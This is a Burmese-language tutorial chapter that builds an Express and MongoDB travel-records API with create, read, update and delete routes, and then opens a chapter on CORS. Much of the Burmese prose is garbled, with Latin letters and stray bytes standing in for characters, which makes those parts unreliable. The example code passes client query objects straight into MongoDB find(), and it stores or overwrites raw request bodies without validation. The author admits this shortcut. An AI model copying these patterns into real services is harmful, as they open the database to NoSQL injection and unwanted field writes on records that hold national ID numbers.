ကြေနာက်ပုိင်းကြေတာ့ Express က မလုိတာမသံုးyဲ လုိတာပဲ ကြေရွးသုံးလုိရ့ကြေအာင် Package ကြေတွ ခွဲထုတ်gပစ်ပါ
တယ်။ Cookie စီမံတာက Package တစ်ခု၊ File Upload စီမံတာက Package တစ်ခု၊ Request Body စီမံ
တာက Package တစ်ခု စသgoင့်ပါ။ ကြေကာင်းပါတယ်။ အခု ပကြေရာင်္ဂျက်မှာဆိုရင် Cookie တို့  File Upload
တို့  သုံးoုိအ့စီအစဉ်  မရှိပါyူး။  မလုိyဲ  ပါကြေနရင်ရှုပ်ပါတယ်။ လုိတဲ့  Package  ကိုသာ ကြေရွးပြပီးကြေတာ့ ထည့်
လုိက်ယုံပါပဲ။ Request Body ကို စီမံတယ်ဆိုတာ Request နဲ့အတူ ပါဝင်လာတဲ့ JSON String ကြေတွ URL
Encoded String ကြေတွကို  JSON Object  ကြေgပာင်းကြေပးတဲ့ အလုပ်ကို ဆိုလုိတာပါ။ အခုလုိ  install လုပ်
ကြေပးလုိက်ပါ။

npm i mongodb body-parser 

ပြပီးရင် index.js မှာ ကြေရးရမယ့်ကုဒ်ကိုတစ်ပုိင်းချင်း gပသွားပါမယ်။ ပထမတစ်ပုိင်း စeကည့်ပါ။

 JavaScript 

const express = require("express");
const app = express();

const { MongoClient, ObjectId } = require("mongodb");
const mongo = new MongoClient("mongodb://localhost");
const db = mongo.db("travel");

const bodyParser= require("body-parser");

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
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ပထမဆံုး  express ကို  Import  လုပ်ပါတယ်။  ပြပီးတဲ့အခါ  MongoClient နဲ့  ObjectId တိုက့ို
mongodb ကကြေန Import  လုပ်ပါတယ်။ ကြေနာက်တစ်ဆင့်မှာ  MongoClient နဲ့  MongoDB Server  ကို
ချတိ်လုိက်ပါတယ်။  protocol://host:port ဆိုတဲ့  Format  ကိုကြေပးရပြပီး  protocol ကကြေတာ့
mongodb ပဲgoစ်ပါတယ်။ host ကြေနရာမှာ localhost (သုိမ့ဟုတ်) 127.0.0.1 ဆိုတဲ့ Local IP ကို
ကြေပးရပါတယ်။ port ကကြေတာ့ ကြေပးမယ်ဆိုရင် MongoDB Default Port goစ်တဲ့ 27017 ကိုကြေပးရမှာပါ။ မ
ကြေပးလည်း  ရတဲ့အတွက်  နမူနာမှာ  ကြေပးမထားပါyူး။  ဒီလုိချတိ်ဆက်အသံုးgပုနိုင်oုိ့အတွက်  MongoDB
Server Run  ထားoုိ့  လုိမယ်ဆိုတာကို  သတိgပုပါ။ ဆက်လက်ပြပီးကြေတာ့ ရရှိလာတဲ့  MongoDB Database
Connecting ကကြေန travel Database ကို ကြေရွးယူပြပီး db အgoစ် သတ်မှတ်ထားလုိက်ပါတယ်။

ကြေနာက်တစ်ဆင့်မှာ body-parser ကို  Import လုပ်ပြပီး use() နဲ့ သူ့ရဲ့ လုပ်ကြေဆာင်ချက်နှစ်ခုကို eကား
goတ်ပြပီး လုပ်ခိုင်းထားပါတယ်။  URL Encoded String  ကြေတွကို  JSON  အကြေနနဲ့  Parse  လုပ်oုိရ့ယ်၊  JSON
String ကြေတွကို JSON အကြေနနဲ့ Parse လုပ်oုိရ့ယ် ကြေgပာထားတာပါ။ urlencoded() အတွက်ကြေပးထားတဲ့
extended: false Option က မgoစ်မကြေန ကြေပးရမယ်လုိ့ သတ်မှတ်ထားလုိ့ ထည့်ကြေပးထားတာပါ။ URL
Encode/Decode  လုပ်oုိအ့တွက်  Node  မှာ  Build-in  လုပ်ကြေဆာင်ချက်  ပါပါတယ်။  အ့ဲဒါကို  သံုးချင်ရင်
extended: false လုိ့ ကြေပးရတာပါ။ Node ရဲ့ လုပ်ကြေဆာင်ချက်ကို မသံုးyဲ body-parser နဲအ့တူ
ပါတဲ့  လုပ်ကြေဆာင်ချက်ကို  သံုးချင်ရင်  true ကြေပးရမှာ  goစ်ပါတယ်။  ဒီလုိ  ကြေeကညာသတ်မှတ်ပြပီးကြေနာက်
Request Body မှာပါတဲ့ အချက်အလက်ကြေတွကို JSON အကြေနနဲ့ req.body ကကြေန အသင့်သုံးလုိရ့သွားမှာ
goစ်ပါတယ်။

use() Function  ကို  Middleware  ကြေတွ ကြေeကညာoုိ့သုံးပါတယ်။  Middleware    ဆိုတာ လုိရင်းအနှစ်ချုပ်  
ကကြေတာ့    Request    တစ်ခုဝင်လာတာနဲ့  eကားထဲကoမ်းပြပီး  အလုပ်လုပ်ကြေပးမယ့် လုပ်ကြေဆာင်ချက်ကြေလးကြေတွ  
ပါ။  use() ကိုသုံးပြပီး  သတ်မှတ်ထားတဲ့  လုပ်ကြေဆာင်ချက်တိုင်းကို၊  Request  ဝင်လာတိုင်း၊  ဝင်လာတဲ့
Request ကြေပါ်မှာ လုပ်ကြေပးလုိက်မှာ goစ်ပါတယ်။

ဆက်လက်ပြပီး Travel Records ကြေတွအားလံုးကို gပန်ကြေပးတဲ့ လုပ်ကြေဆာင်ချက်ကိုကြေရးပါမယ်။ ဒီလုိပါ -
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 JavaScript 

app.get("/api/records", async function (req, res) {
try {

const result = await db
.collection("records")
.find()
.toArray();

res.json({
meta: { total: result.length },
data: result

});
} catch {

res.sendStatus(500);
}

});

Request  Method  GET  goစ်ရပါမယ်။  URL က  /api/records goစ်ပါတယ်။  Function  က  ရုိးရုိး
Function  မဟုတ်ပါyူး။  async Function  goစ်တယ်ဆိုတာကို  သတိgပုပါ။  MongoDB  JavaScript
Client  က အရင်  Version  ကြေတွမှာ  Callback  ကို  အကြေgခခံတဲ့ကြေရးထံုးကို  အသုံးgပုကြေပမယ့်၊ အခုကြေနာက်ပုိင်း
Version ကြေတွမှာ Promise ကို အကြေgခခံတဲ့ ကြေရးထုံးကို အသုံးgပုပါတယ်။ ဒါကြေeကာင့် .then().catch()
စတဲ့  Promise  Syntax  (သုိ့မဟုတ်)  async, await Syntax  ကို  အသုံးgပုရမှာပါ။  နမူနာကြေတွမှာ
async, await Syntax ကို အသုံးgပု ကြေoာ်gပသွားမှာပါ။ 

ပထမဆံုး  records Collection ကကြေန find() နဲ့ ရိှသမျှ records ကြေတွအကုန်ထုတ်ယူပြပီး ရလာတဲ့
ရလဒ်ကို Array ကြေgပာင်းထားပါတယ်။ ဒီလုပ်ငန်းက Async လုပ်ငန်းgoစ်တဲ့အတွက် သူ့ကြေအာက်မှာ ကြေရးထား
တဲ့ အလုပ်ကြေတွက ပုံမှန်ဆိုရင် သူ့ကို မကြေစာင့်yဲ ကြေကျာ်လုပ်သွားeကမှာပါ။ ဒါကြေပမယ့် ကြေရှ့က await ကြေလးခံ
ကြေရးကြေပးထားတဲ့အတွက် သူ့ကိုကြေစာင့်ပြပီး ရလဒ်ရပြပီဆိုကြေတာ့မှပဲ ကျန်အလုပ်ကြေတွက ဆက်လုပ်ကြေတာ့မှာပါ။ ဒီ
သကြေyာမျ ို းကို လုိချင်လုိ့ async, await သုံးတာပါ။ Data ထုတ်ယူစဉ်မှာ Error ကြေတွရှိခဲ့ရင် oမ်းယူချင်
တဲ့အတွက်  try, catch Statement ကိုသုံးပြပီးကြေတာ့ ကြေရးထားတာကိုလည်း သတိgပုပါ။  Error goစ်ကြေန
ရင်  500 Internal Server Error  gပန်ပုိ့ပါတယ်။  Error  မgoစ်ရင်ကြေတာ့  Data Envelope  ထဲမှာ  data နဲ့
အတူ meta.total ပါ ထည့်ကြေပးလုိက်တာပါ။ ဒါကြေeကာင့် အခုကြေနစမ်းeကည့်ရင် ရလဒ်က ဒီလုိgoစ်မှာပါ။
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ပြပီးတဲ့အခါ တစ်လက်စတည်း Sorting ကြေတ၊ွ Paging ကြေတွ၊ Filter ကြေတွ အကုန်gပည့်စံုကြေအာင် ထည့်ပါမယ်။
အ့ဲဒါကြေတွမထည့်ခင် URL Query ကြေတွကို Express က yယ်လုိလက်ခံ  စီမံသလဲ စမ်းeကည့်လုိရ့ကြေအာင် အခု
လုိကြေလး အရင်ကြေရးeကည့်သင့်ပါတယ်။

 JavaScript 

app.get("/test", function(req, res) {
    return res.json(req.query);
});

ဒီကုဒ်က  Request  နဲ့အတူပါဝင်လာတဲ့  URL Query  ကိုပဲ  gပန်ကြေပးထားတာပါ။ ဒါကြေပမယ့်  JSON  အကြေနနဲ့
gပန်ကြေပးတာgoစ်လုိ့  URL Query ကို  JSON ကြေgပာင်းလုိက်တဲ့အခါ yယ်လုိပုံစံရသလဲ ကြေလ့လာeကည့်oုိပ့ါ။ ဒီ
URL နဲ ့စမ်းeကည့်ပါ။

localhost:8000/test?sort[name]=1&filter[from]=Yangon&filter[to]=Yangon&page=2

ရလဒ်က အခုလုိgoစ်မှာပါ။ ကြေသချာကြေလး င်္ဂရုgပုeကည့်ကြေပးပါ။
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ကိုယ့်yက်က yာမှလုပ်ကြေပးစရာမလုိyဲ URL Query က အသင့်သုံးလုိရ့တဲ့ JSON Structure ကြေလးနဲ့ ရကြေန
တာကို ကြေတွ့ရနိုင်ပါတယ်။ စနစ်ကျတဲ့  API URL  ကို အသုံးgပုgခင်းရဲ့ အကျ ို းပါ။ ဒီသကြေyာကို gမင်ပြပီဆိုရင်
ကြေစာကြေစာက /api/records အတွက်ကြေရးထားတဲ့ ကုဒ်ကို အခုလုိgပင်ကြေပးလုိက်ပါ။

 JavaScript 

app.get("/api/records", async function (req, res) {
const options = req.query;

// validate options, send 400 on error

const sort = options.sort || {};
const filter = options.filter || {};
const limit = 10;
const page = parseInt(options.page) || 1;
const skip = (page - 1) * limit;

for (i in sort) {
sort[i] = parseInt(sort[i]);

}

try {
const result = await db

.collection("records")

.find(filter)

.sort(sort)
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.skip(skip)

.limit(limit)

.toArray();

res.json({
meta: { total: result.length },
data: result,

});
} catch {

res.sendStatus(500);
}

});

ဒါ Filter, Sorting, Paging လုပ်ကြေဆာင်ချက်အားလံုး ပါဝင်သွားတာပါ။ Sort နဲ့ Filter အတွက် တန်oုိးကြေတွ
ကို  Client  ကြေပးတဲ့အတိုင်း  URL Query  ကကြေနပဲ ယူထားတာပါ။  Paging  အတွက်  Client  ကကြေပးတဲ့  Page
နံပါတ်ကိုသံုးပြပီး skip တန်oုိးကို ကိုယ့်yာသာ တွက်ယူပါတယ်။ Sorting အတွက် Client ကကြေပးတဲ့  1,
-1 Value  ကြေတွဟာ  String  အကြေနနဲလ့ာမှာပါ။  MongoDB  က  Integer  နဲ့မှအလုပ်လုပ်တာမုိလုိ့့  sort
Options  ကြေတွကိကုြေတာ့  Loop လုပ်ပြပီး  Integer  ကြေgပာင်းထားပါတယ်။ ကျန်တာကကြေတာ့ ရလာတဲ့  Options
ကြေတွကို filter, sort, skip, limit စသgoင့် သူ့ကြေနရာနဲသူ့ ထည့်ကြေပးလုိက်တာပါပဲ။ ဒီကုဒ်မျ ို း
က စာနဲရ့ှင်းတာထက်စာရင်  ကြေရးထားတဲ့  ကုဒ်ကိုoတ်eကည့်တာ ပုိထိကြေရာက်ပါတယ်။ oတ်eကည့်လုိက်ပါ။
နားလည်ရလွယ်ကြေအာင် ကြေရးထားပါတယ်။

တစ်ကယ်လက်ကြေတွ့ ပကြေရာင်္ဂျက်မှာဆိုရင်ကြေတာ့  Client  ကြေပးတဲ့  Option  ကြေတွကို  Validate  လုပ်သင့်ပါကြေသး
တယ်။ မပါသင့်တာကြေတွပါလာမှာ စိုးလုိပ့ါ။ သုိမ့ဟုတ် ကြေပးပုံကြေပးနည်း မှားကြေနတာကြေတွ goစ်မှာစိုးလုိပ့ါ။ ဒီမှာ
ကြေတာ့ အ့ဲဒီကိစ္စကို ထည့်မစစ်ကြေတာ့ပါyူး။ စမ်းeကည့်လုိ ့ရကြေနပါပြပီ။ ဥပမာစမ်းချင်ရင် ဒီလုိစမ်းနိုင်ပါတယ်။

localhost:8000/api/records?filter[to]=Yangon&sort[name]=1&page=1

ဒါဆိုရင်  to: Yangon ကြေတွအားလံုးကို  name နဲစ့ီပြပီး  gပန်ကြေပးမှာgoစ်ပါတယ်။  filter မှာ  name,
nrc, from, to, with ကြကိုက်တာနဲ့  ကြေရွးထုတ်လုိရ့လုိ့ ကျွန်ကြေတာ်တိုပ့ကြေရာင်္ဂျက်မှာ  ပါကြေစချင်တဲ့
နာမည်နဲ့  gပန်ရှာထုတ်လုိ့  ရတာကြေတွ၊  မှတ်ပံုတင်နဲ့  gပန်ရှာထုတ်လုိ့  ရတာကြေတွ၊  ပြမို့အလုိက်  အကုန်gပန်
ထုတ်ယူလုိ ့ရတာကြေတွ တစ်ချကတ်ည်းနဲ့ အကုန်ပါဝင်သွားတာ goစ်ပါတယ်။
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Request Query ကြေတွကို လက်ခံအလုပ်လုပ်ပံု gပည့်စံုပြပီဆိုကြေပမယ့် Response Data Envelope မှာ မgပည့်စံု
ကြေသးပါyူး။ ဒါကြေeကာင့် အ့ဲဒီကုဒ်မှာပဲ json() Response ကို ဒီလုိကြေလး ထပ်gပင်ကြေပးoုိ့ လုိပါကြေသးတယ်။

 JavaScript 

res.json({
    meta: {
        skip,
        limit,
        sort,
        filter,
        page,
        total: result.length,
    },
    data: result,
    links: {
        self: req.originalUrl,
    }
});

ဒါဆိုရင် အသုံးဝင်တဲ့ meta Information ကြေတွ ပါဝင်သွားမှာgoစ်လုိ့ စမ်းeကည့်လုိက်ရင် ရလဒ်က ဒီလုိပံုစံရ
မှာgoစ်ပါတယ်။
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links အတွက်ကြေတာ့  self တစ်ခုပဲ  ထည့်ထားပါတယ်။  တစ်ကယ်ကြေတာ့  Paging  အတွက်  next,
prev, first, last စသgoင့် တgခားလုိအပ်မယ့်  Links  ကြေတွ တွက်ပြပီးထည့်ကြေပးသင့်ပါကြေသးတယ်။
ကြေရးရမယ့်ကုဒ် များသွားမှာမုိလုိ့့ မထည့်ကြေတာ့ပါyူး။ ဆိုလုိရင်းကို သကြေyာကြေပါက်မယ်လုိယူ့ဆပါတယ်။

ဆက်လက်ပြပီးကြေတာ့ Record အသစ်ကြေတွ ထပ်ထည့်လုိရ့တဲ့ လုပ်ကြေဆာင်ချက်ကို ဆက်သွားပါမယ်။ Record
အသစ်ထည့်oုိအ့တွက် မထည့်ခင်  Package  ကြေလးတစ်ခုအရင်  Install  လုပ်eကပါဦးမယ်။  Request Body
မှာပါလာတဲ့ အချက်အလက်ကြေတွကို Validation စစ်oုိအ့တွက် express-validator ကို Install လုပ်
မှာပါ။ ဒီလုိပါ -

npm i express-validator

ပြပီးတဲ့အခါ အခုလုိ Import လုပ်ပြပီး စသုံးလုိရ့ပါပြပီ။

 JavaScript 

const { 
    body,
    param, 
    validationResult 
} = require("express-validator");

body, param နဲ့  validationResult ဆိုတဲ့  (၃)  ခု  express-validator ကကြေန  Import
လုပ်ယူထားတာပါ။  body ကိုသုံးပြပီး  Request  Body  ကြေတွကို  Validate  စစ်ပါမယ်။  param ကိုသုံးပြပီး
Dynamic  Route  တန်oုိးကြေတွကို  Validate  စစ်ပါမယ်။  တgခားဟာကြေတွ  ကျန်ပါကြေသးတယ်။  query တို့
header တိုက့ိုလည်း  စစ်ချင်ရင်  စစ်လုိရ့ပါကြေသးတယ်။  စစ်ကြေဆးမှုရလဒ်ကို  validationResult
ကကြေန gပန်လည်ရယူရမှာပါ။ Record အသစ်ထည့်တဲ့ကုဒ်ကြေတွကြေရးလုိရ့ပါပြပီ။
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 JavaScript 

app.post(
"/api/records",
[

body("name").not().isEmpty(),
body("from").not().isEmpty(),
body("to").not().isEmpty(),

],
async function (req, res) {

const errors = validationResult(req);

if (!errors.isEmpty()) {
return res.status(400).json({ 

errors: errors.array() 
});

}

try {
const result = await db

.collection("records")

.insertOne(req.body);

const _id = result.insertedId;

res.append("Location", "/api/records/" + _id);

res.status(201).json({ 
meta: { _id }, 
data: result,

});

} catch {
res.sendStatus(500);

}
},

);

Method POST ကိုသုံးရမှာgoစ်ပြပီး  URL ကကြေတာ့ /api/records ပါပဲ။  Callback Function မတိုင်ခင်
eကားထဲက ဒုတိယ Parameter  အကြေနနဲ့  Validation  စစ်ထားပါတယ်။ ဒီကုဒ်မှာကြေတာ့  "yာကြေတွပါရမယ်"
လုိပဲ့ စစ်ထားတာပါ။ ကားနံပါတ်မုိလုိ့့ စာလံုး (၆) လုံးပါရမယ်တို၊့ လူနာမည်မုိလုိ့ Special Character ကြေတွ
မပါရyူးတို၊့  စသgoင့်  အကြေသးစိတ်  စစ်မထားပါyူး။  စစ်ချင်တယ်ဆိုရင်  စစ်လုိရ့တဲ့  Rule  ကြေတွအားလုံးကို
ဒီမှာeကည့်လုိ ့ရပါတယ်။

- https://github.com/validatorjs/validator.js#validators

https://github.com/validatorjs/validator.js#validators
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ပြပီးတဲ့အခါ  Validation Result  ကို  စစ်eကည့်ပြပီး  Error  ရှိကြေနတယ်ဆိုရင်  400 ကို  gပန်ကြေပးထားပါတယ်။
Validation Error  မရှိyူးဆိုကြေတာ့မှ  insert() နဲ့ထည့်လုိက်တာပါ။  POST နဲ့  အသစ်ထည့်တာgoစ်လုိ့
ကြေအာင်gမင်တဲ့အခါ  201 ကို  gပန်ကြေပးပြပီး  Location Header  ကိုပါ တွဲoက် ထည့်သွင်းကြေပးထားပါတယ်။
Response Body ကိုကြေတာ့ ထုံးစံအတိုင်း Data Envelope နဲ့ တွဲပြပီး gပန်ကြေပးပါတယ်။

ဒါကို  စမ်းeကည့်နိုင်oုိ့အတွက်  API  Testing  Tool  တစ်ခုခုကြေတာ့  လုိပါလိမ့်မယ်။  cURL,  Insomnia,
Postman စသgoင့်  Tool  အမျ ို းမျ ို းရှိတဲ့ထဲက Postman လုိ့ကြေခါ်တဲ့  API Testing  ပရုိင်္ဂရမ်တစ်ခုကို သံုးမှာ
ပါ။ ဒီမှာ Download လုပ်ပြပီး Install လုပ်လုိရ့ပါတယ်။

- https://www.postman.com/downloads/

Install လုပ်ပြပီးတဲ့အခါ oွင့်လုိက်ပါ။ ပြပီးရင်ဆက်လက်ကြေoာ်gပတဲ့ပုံမှာ gပထားသလုိ Method ကြေနရာမှာ POST
ကိုကြေရွးပြပီး API URL ကို  အgပည့်အစံု မှန်ကြေအာင်ရုိက်ထည့်လုိက်ပါ။ Send နှိပ်eကည့်ရင် ကျွန်ကြေတာ်တိုရ့ဲ့ API
Server ကို Postman က Request ကြေပးပုိသွ့ားမှာ goစ်ပါတယ်။

https://www.postman.com/downloads/
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နမူနာပုံမှာ Response အကြေနနဲ့  Validation Error Message ကြေတွကို ကြေတွ့ gမင်ရgခင်းgoစ်ပါတယ်။ Request
Body အတွက် လုိအပ်မယ့်အချက်အလက်ကြေတွ ထည့်ပြပီးစမ်းနိုင်oုိ့  URL Bar ကြေအာက်က Body Tab ကိုနှိပ်
ပြပီး  x-www-form-urlencoded ကိုထပ်ဆင့်ကြေရွးပါ။ ကြေနာက်တစ်မျက်နှာက နမူနာပံုကိုeကည့်ပါ။ ကျွနက်ြေတာ်
တို့  API  က JSON  ကြေရာ  URL Encoded  ကိုပါ လက်ခံအလုပ်လုပ်နိုင်ပါတယ်။ တစ်ကယ့်  Request Data
အမှန်ကကြေတာ့ JSON goစ်သင့်ပါတယ်။ ဒါကြေပမယ့် အခုကြေလာကြေလာဆယ် စမ်းeကည့်oုိအ့တွက် JSON ကြေတွကို
Format  မှန်ကြေအာင် ကိုယ့်yာသာ ရုိက်ထည့်ကြေနရမှာစိုးလုိ့  ပုိပြပီးထည့်ရလွယ်တဲ့  URL Encoded  နဲ့ပဲ  စမ်း
eကည့်လုိက်ပါ။
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အခုဆိုရင် အသစ်ထည့်တဲ့လုပ်ကြေဆာင်ချက်လည်း ရသွားပါပြပီ။ တစ်ကယ်ဆိုရင်ကြေတာ့ ကုဒ်ဒီဇုိင်းကို ဒီထက်ပုိ
ကြေကာင်းကြေအာင် gပင်ရဦးမှာပါ။  req.body ကြကီးကို  Database  ထဲ ပစ်ထည့်လုိက်တာ လက်ကြေတွ့မကျပါ
yူး။ မလုိလားအပ်တာကြေတွ ဝင်ကုန်ပါမယ်။ ဒါကြေပမယ့် အခုရှင်းgပချင်တာက ကုဒ်ဒီဇုိင်းပုိင်း မဟုတ်yဲ၊ API
ရဲ့ သကြေyာသyာဝကို ရှင်းgပချင်တာမုိလုိ့့ oတ်ရ၊ နားလည်ရလွယ်ကြေအာင် နမူနာကုဒ်ကြေတွကို အလွယ် ကြေရး
gပထားတယ်ဆိုတာကို သတိgပုကြေပးပါ။

ဆက်လက်ပြပီးကြေတာ့ ရှိပြပီးသား အချက်အလက်ကြေတွ gပင်ဆင်ကြေပးနိုင်တဲ့လုပ်ကြေဆာင်ချက်ကို ဆက်ကြေရးသွားပါ
မယ်။ PUT နဲ့ PATH နှစ်မျ ို းရှိပြပီး နှစ်မျ ို းလံုးနဲ့ နမူနာကြေရးgပပါမယ်။
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 JavaScript 

app.put("/api/records/:id", async function (req, res) {
try {

const _id = new ObjectId(req.params.id);

const result = await db
.collection("records")
.findOneAndReplace(

{ _id }, 
req.body, 
{ returnDocument: "after" 

});

res.json({
meta: { _id },
data: result.value,

});
} catch {

res.sendStatus(500);
}

});

Request Method PUT နဲလ့ာတဲ့အခါ URL မှာ ID ထည့်ကြေပးရပါတယ်။ အ့ဲဒီ ID ဟာ မူလက String အကြေန
နဲ့  လာမှာgoစ်လုိ့  MongoDB  ObjectId goစ်ကြေအာင်တစ်ခါထဲ  ကြေgပာင်းယူပါတယ်။  ပြပီးတဲ့အခါ  Request
Body  မှန်မမှန်  Validation  စစ်oုိလုိ့ကြေပမယ့် စစ်မgပကြေတာ့ပါyူး။ ကုဒ်တိုသွားကြေအာင်လုိပ့ါ။ တစ်ကယ်တမ်း
gပည့်စံုချင်ရင်ကြေတာ့ စစ်ရမှာပါ။ ကြေရးထားတဲ့ ကုဒ်အရ ကြေပးလာတဲ့ ID နဲ့ ရှာeကည့်ပြပီး ရှိရင် Update လုပ်ကြေပး
မှာgoစ်ပါတယ်။ Update  လုပ်oုိအ့တွက်  updateOne() ကို မသုံးyဲ့  findOneAndReplace() ကို
သုံးထားပါတယ်။  Update  လုပ်ပြပီးရင် ရလာတဲ့  Update Data  ကို  တစ်ခါထဲ gပန်လုိချင်လုိပ့ါ။ ဒီကြေနရာမှာ
နှစ်မျ ို းရှိပါတယ်။  findOneAndReplace() နဲ့  findOneAndUpdate() တိုပဲ့goစ်ပါတယ်။ ဒီနှစ်ခု
အကြေgခခံသကြေyာတူကြေပမယ့် ကွဲgပားချက်ကြေလးတစ်ခု ရှိပါတယ်။ 

Replace Method က ကြေပးလုိက်တဲ့ Data ကိုယူပြပီး မူလ Data တစ်ခုလံုးကို အစားထုိးလုိက်မှာ goစ်ပါတယ်။
Update Method  ကကြေတာ့ ကြေပးလာတဲ့ နင်္ဂိုရှိကြေနတဲ့  Data  ထဲကကြေန ကြေရွးgပင်လုိတဲ့ အပုိင်းကိုပဲ gပင်ကြေပးတာ
goစ်ပါတယ်။ ဥပမာ –  name ကို ကြေရွးgပင်မယ်။  from ကို ကြေရွးgပင်မယ်။  to ကို ကြေရွးgပင်မယ်။ စသည်goင့်
ကြေရွးgပင်လုိတဲ့ တန်oုိးကိုပဲ ကြေပးပြပီးgပင်လုိရ့ပါတယ်။
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ဒါကြေeကာင့်  PUT အတွက်  findOneAndReplace() ကို  အသုံးgပုထားပြပီး  PATCH အတွက်ကျမှ
findOneAndUpdate() ကို အသုံးgပုပြပီး ကြေရးသားမှာပါ။ ဒီလုိပါ – 

 JavaScript 

app.patch("/api/records/:id", async function (req, res) {
try {

const _id = new ObjectId(req.params.id);

const result = await db
.collection("records")
.findOneAndUpdate(

{ _id },
{ $set: req.body },
{ returnDocument: "after" },

);

res.json({
meta: { _id },
data: result.value,

});
} catch {

res.sendStatus(500);
}

});

Update အတွက် gပင်လုိတဲ့ Data ကို တိုက်ရုိက်မကြေပးyဲ $set ကကြေနတစ်ဆင့် ကြေပးရတာကို သတိgပုပါ။ န
မူနာကြေတွမှာပါသွားတဲ့  returnDocument ကကြေတာ့ Update လုပ်ပြပီးတဲ့အခါ အရင်အကြေဟာင်းကို လုိချင်
သလား gပင်လုိက်တဲ့အသစ်ကို လုိချင်သလား ကြေရွးကြေပးoုိ့အတွက် ထည့်ထားတာပါ။ after လုိ့ကြေgပာထားတဲ့
အတွက် gပင်လုိက်တဲ့အသစ်ကို ရမှာပါ။ အရင်အကြေဟာင်းကို လုိချင်ရင်ကြေတာ့ before လုိ့ကြေgပာလုိက်ရင် ရ
ပါတယ်။

ဒါကြေeကာင့် အခုဆိုရင် တစ်ခုလံုးအကုန်gပင်ချင်ရင် PUT ကိုသုံးပြပီး တစ်ချ ို ့အချက်အလက်ကြေတွပဲ ကြေရွးgပင်ချင်
ရင် PATCH ကိုသုံးလုိရ့တယ်ဆိုတဲ့ Update ပုံစံနှစ်မျ ို းကို ရရှိသွားပြပီပဲgoစ်ပါတယ်။

တစ်ခုပဲ ကျန်ပါကြေတာ့။ Delete ပါ။ အခုလုိကြေရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။
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 JavaScript 

app.delete("/api/records/:id", async function (req, res) {
try {

const _id = new ObjectId(req.params.id);
await db.collection("records").deleteOne({ _id });
res.sendStatus(204);

} catch {
res.sendStatus(500);

}
});

ထူးgခားတဲ့လုပ်ကြေဆာင်ချက်ကြေတွ မပါကြေတာ့ပါyူး။ deleteOne() နဲ့ oျက်ပြပီး 204က္က��  gပန်ကြေပးပါတယ်။ 

အခုဆိုရင် Create, Read, Update, Delete လုပ်ကြေဆာင်ချက်အgပည့်စံုပါဝင်တဲ့ API Service ကြေလးတစ်ခု ရ
သွားပြပီပဲ  goစ်ပါတယ်။  ရည်ရွယ်ချက်ကကြေတာ့  ခရီးသွားမှတ်တမ်းကြေတွကို  ထည့်သွင်းသိမ်းဆည်းထားပြပီး
လုိအပ်တဲ့အခါ၊ name, nrc, from, to, with စသgoင့် ကိုယ်လုိတဲ့ အချက်အလက်နဲ့ gပန် Filter
လုပ်ပြပီး စစ်ကြေဆးeကည့်နိုင်oုိ့ပဲ goစ်ပါတယ်။ 

တစ်ကယ့်လက်ကြေတွ့အသုံးချအဆင့် ကြေရာက်ချင်ရင်ကြေတာ့ နာမည်အတိအကျ သိစရာမလုိyဲ  Search  လုပ်
နိုင်တဲ့ လုပ်ကြေဆာင်ချက်ကြေတ၊ွ byTrain, byCar စသgoင့် Transportation အမျ ို းမျ ို းနဲ့ သိမ်းလုိရ့ကြေအာင်
လုပ်ကြေပးတာကြေတ၊ွ  သွားခဲ့တဲ့  ခရီးစဉ်ကြေတွကို  ချတိ်ဆက်ပြပီး  လမ်းကြေeကာင်းgပတာကြေတွ၊  ခရီးစဉ်တစ်ခုနဲတ့စ်ခု
အချတိ်အဆက် မမိyဲ eကားထဲမှာ ကြေပျာက်ကြေနရင် သတိကြေပးတာကြေတွ လုပ်လုိရ့ပါတယ်။ နမူနာကကြေတာ့ ဒီ
ကြေလာက်ဆိုရင် လံုကြေလာက်ပြပီမုိလုိ့့ ဒါကြေတွထည့်မကြေရးကြေတာ့ပါyူး။ ကိုယ်yာသာ Exercise လုပ်တဲ့သကြေyာနဲ့
စမ်းထည့်ချင်ရင်  ထည့်လုိရ့ကြေအာင်  ကြေgပာgပတဲ့သကြေyာပါ။  ကြေရးခဲ့တဲ့နမူနာကုဒ်ကြေတွကို  လုိအပ်ရင်  ဒီမှာ
Download လုပ်လုိရ့ပါတယ်။

- https://github.com/eimg/api-book

https://github.com/eimg/api-book
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အခန်း (၇၄) – CORS

HTTP မှာ CORS လုိ့ကြေခါ်တဲ့ သကြေyာသyာဝတစ်ခု ရှိပါကြေသးတယ်။ API ကြေလ့လာသူများ မသိမgoစ် သိထား
oုိ့  လုိအပ်ပါတယ်။  Cross-Origin Resource Sharing  ဆိုတဲ့အဓိပ္ပါယ်ပါ။  Web Browser  ကြေတွမှာ အဓိက
အားgoင့် အသုံးgပုeကတဲ့ လုံခြခံုကြေရးအစီအမံတစ်ခုပါ။

သူ့ရဲ့လုိရင်းသကြေyာကကြေတာ့ Origin (Host, Domain, Port)   မတူရင်   Request   ကြေတွ ပုိခ့ွင့်မgပုgခင်း   goစ်ပါ
တယ်။ Server က Origin မတူလည်းပဲ လက်ခံပါတယ်လုိ့ သီးသန့်ခွင့်gပုထားမှသာ Request ကြေတွကို ကြေပးပုိ့
မှာ goစ်ပါတယ်။ ဥပမာ - Client က locahost မှာအလုပ်လုပ်ကြေနပြပီး Server ကလည်း localhost မှာ
ပဲအလုပ်လုပ်ကြေနတာဆိုရင်  Request  ကြေတွ ကြေပးပုိလုိ့့ ရပါတယ်။ Origin  တူလုိ့ပါ။ yာgပဿနာမှ မရှိပါyူး။
Client က localhost:3000 မှာ အလုပ်လုပ်ကြေနပြပီး  Server က localhost:8000 မှာအလုပ်လုပ်
ကြေနတာဆိုရင် CORS နဲ့ ညိသွားပါပြပီ။ localhost ချင်းတူကြေပမယ့် Port မတူလုိ့ Origin မတူကြေတာ့ပါyူး။
Request ကြေတွကြေပးပုိတ့ာကို Browser က ခွင့်gပုမှာ မဟုတ်ကြေတာ့ပါyူး။ localhost နဲ့ ဥပမာကြေပးကြေပမယ့်
လက်ကြေတွ့မှာလည်း အတတူူပါပဲ။ domain-a.com ကကြေန domain-b.com ကို Request ကြေတွကြေပးပုိ့oုိ့
ကြကိုးစားတဲ့အခါ  Browser  ကလက်ခံမှာမဟုတ်ပါyူး။  စမ်းသပ်ချင်ရင်  HTML  Document  တစ်ခု
တည်ကြေဆာက်ပြပီး ဒီကုဒ်ကို ကြေရးစမ်းeကည့်ပါ။
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 HTML/JavaScript 

<script>
    fetch("http://localhost:8000/api/records")
        .then(function(res) {
            return res.json();
        })
        .then(function(json) {
            console.log(json);
        });
</script>

